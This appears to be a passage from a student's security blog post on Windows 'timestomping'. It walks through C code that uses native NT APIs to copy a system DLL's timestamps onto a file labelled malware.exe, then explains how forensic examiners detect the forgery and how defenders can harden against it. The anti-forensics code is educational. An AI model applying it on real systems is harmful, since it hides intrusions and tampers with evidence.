The LARGE_INTEGER format stores time as 100-nanosecond intervals since January 1, 1601 (Windows FILETIME).

Step 2: Dynamically Resolve Native APIs

Instead of static linking, we resolve the APIs at runtime:

NtQueryInformationFile_t pNtQueryInformationFile = 
    (NtQueryInformationFile_t)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), 
        "NtQueryInformationFile"
    );

if (pNtQueryInformationFile == NULL) {
    printf("[!] Could not resolve NtQueryInformationFile\n");
    return FALSE;
}

Why?

Undocumented APIs aren't in import libraries
Dynamic resolution makes the tool more portable
Demonstrates runtime API patching techniques

Step 3: Open Source & Destination Files

HANDLE fileSrc = CreateFile(
    srcfile, 
    GENERIC_READ,          // Source needs read access
    0, NULL, OPEN_EXISTING, 0, NULL
);

HANDLE fileDst = CreateFile(
    dstfile,
    GENERIC_READ | GENERIC_WRITE | FILE_WRITE_ATTRIBUTES,  // Dst needs write
    0, NULL, OPEN_EXISTING, 0, NULL
);

Step 4: Query the Source File's Timestamps

IO_STATUS_BLOCK ioStat;
FILE_BASIC_INFORMATION src_fbi;

pNtQueryInformationFile(
    fileSrc,                          // File handle
    &ioStat,                          // Status block
    &src_fbi,                         // Output buffer
    sizeof(FILE_BASIC_INFORMATION),   // Buffer size
    FileBasicInformation              // Information class
);

Step 5: Copy Timestamps

FILE_BASIC_INFORMATION dst_fbi;

// Get destination file's current metadata
pNtQueryInformationFile(fileDst, &ioStat, &dst_fbi, 
                        sizeof(FILE_BASIC_INFORMATION), FileBasicInformation);

// Replace timestamps
dst_fbi.LastWriteTime = src_fbi.LastWriteTime;
dst_fbi.LastAccessTime = src_fbi.LastAccessTime;
dst_fbi.ChangeTime = src_fbi.ChangeTime;
dst_fbi.CreationTime = src_fbi.CreationTime;

Step 6: Write Modified Metadata Back

pNtSetInformationFile(
    fileDst,                          // File handle
    &ioStat,                          // Status block
    &dst_fbi,                         // Modified structure
    sizeof(FILE_BASIC_INFORMATION),   // Buffer size
    FileBasicInformation              // Information class
);

🎬 How It Works (Flow)

┌─────────────────────────────────────────────────┐
│ SOURCE FILE                DESTINATION FILE     │
│ (kernel32.dll)             (malware.exe)        │
└─────────────┬──────────────────────┬────────────┘
              │                      │
              ↓                      ↓
        ┌──────────────┐      ┌──────────────┐
        │ Query        │      │ Query        │
        │ Timestamps   │      │ Timestamps   │
        └──────┬───────┘      └──────┬───────┘
               │                     │
               ↓                     ↓
        ┌──────────────┐      ┌──────────────┐
        │ CreationTime │      │ CreationTime │
        │ LastAccess   │      │ LastAccess   │
        │ LastWrite    │      │ LastWrite    │
        └──────┬───────┘      └──────┬───────┘
               │                     │
               └─────────┬───────────┘
                         ↓
                   COPY TIMESTAMPS
                         ↓
                  ┌──────────────┐
                  │ SetFileInfo  │
                  │ Write Back   │
                  └──────┬───────┘
                         ↓
                    ✅ SUCCESS

📊 Real-World Lab Results

I tested this on Windows 10/11. Here's what happens:

Before Timestomping:

C:\> dir /tc test.txt
07/10/2026 10:13 PM

C:\> dir /tw test.txt
07/10/2026 10:15 PM

After timestomping (using kernel32.dll as source):

C:\> dir /tc test.txt
04/30/2026 10:30 PM

C:\> dir /tw test.txt
04/30/2026 10:30 PM

The file now appears to have been created and modified in April—months ago—even though we modified it today.

🚨 Why Timestomping Alone Doesn't Work

Here's the critical part: timestomping is easily detected by forensic examiners.

Why Timestamps Can't Be Trusted Alone

Creation Time < Last Write Time
- If a file's creation time is after its last write time, something is wrong
- Legitimate behavior: Creation ≤ Last Write (always)
The NTFS USN Journal
- NTFS maintains a Change Journal recording all file modifications
- This journal is harder to modify than file timestamps
- Forensic examiners cross-reference timestamps with USN entries
Event Logs
- Windows logs application behavior in Event Viewer
- A process execution is recorded regardless of file timestamps
- Malware execution can be tied to specific processes
Link Files & Prefetch
- Windows creates .lnk files with accurate timestamps
- Prefetch files (C:\Windows\Prefetch\) log application execution
- These are harder to modify than file times
MFT Analysis
- The Master File Table stores multiple timestamp variations
- Some entries are resistant to modification
- Examiners compare MFT entries with user-visible timestamps

How Forensic Examiners Detect Timestomping

Timeline:
├── File timestamps: April 30
├── USN Journal: July 10 ✅ MISMATCH
├── Windows Event Log: July 10 ✅ MISMATCH
├── Prefetch: July 10 ✅ MISMATCH
└── MFT Record: July 10 ✅ MISMATCH

CONCLUSION: Timestamps are forged

🛡️ Forensic Recommendations

If you're on the defense side, here's how to strengthen your detection:

Collect Multiple Data Sources

   ✅ File timestamps
   ✅ USN Journal
   ✅ Windows Event Logs
   ✅ Prefetch files
   ✅ Link files
   ✅ MFT analysis
   ✅ Application logs

Monitor File Modifications
- Use File Integrity Monitoring (FIM) tools
- Alert on suspicious timestamp changes
- Correlate with process execution logs
Hardening
- Implement filesystem auditing
- Enable USN Journal on critical partitions
- Use WDAC (Windows Defender Application Control) to restrict executable creation
- Monitor ntdll.dll function calls (suspicious if processes call NtSetInformationFile)

🎓 Technical Concepts You'll Learn

By studying this code, you'll understand:

✅ Windows Internals

NTFS file system structures
Master File Table (MFT)
File timestamps and their representations

✅ Native APIs

How Win32 abstracts the kernel
Undocumented API usage
Dynamic API resolution

✅ Forensics & Incident Response

Timeline reconstruction
Artifact correlation
Evidence integrity checks

✅ Malware Analysis

Common evasion techniques
Timestamp manipulation detection
Attribution challenges

🔗 Resources & Further Reading

Windows Internals:

Forensics:

NTFS Deep Dive:

Malware Analysis:

📦 Full Repository

Check out the complete working code:

GitHub: zainsial866/timestomper

What's included:

✅ Complete C source code
✅ Detailed README with examples
✅ Lab notes documenting behavior
✅ Header files with structure definitions
✅ Compilation instructions

⚖️ Legal & Ethical Note

This tool is for educational purposes and authorized security research only.

Modifying file timestamps without authorization may violate:

🛑 Computer Fraud & Abuse Act (CFAA)
📜 Evidence tampering laws
🔒 Your organization's security policy

Always get explicit authorization before testing on any system.

🎯 Conclusion

Timestomping is a powerful technique that demonstrates:

How easily file metadata can be modified
Why forensic investigators use multiple data sources
The importance of understanding Windows internals
How attackers hide their footprints

But it's also a reminder that no single artifact tells the whole story. Modern incident response requires correlation across logs, events, and file system metadata.

If you're building a SOC, hunting for threats, or just curious about Windows internals—understanding timestomping is critical.

Have thoughts on forensics, Windows internals, or cybersecurity? Drop a comment below. 👇

Want to see more deep dives like this? Follow for more technical content on offensive security, Windows research, and malware analysis.

About the Author

I'm a cybersecurity student at SS-CASE-IT focusing on offensive security, Windows internals, and tool development. I post technical content on GitHub and maintain a blog covering CTF writeups, security research, and system internals.

Connect with me:

🐙 GitHub
🔗 LinkedIn

Last updated: July 2026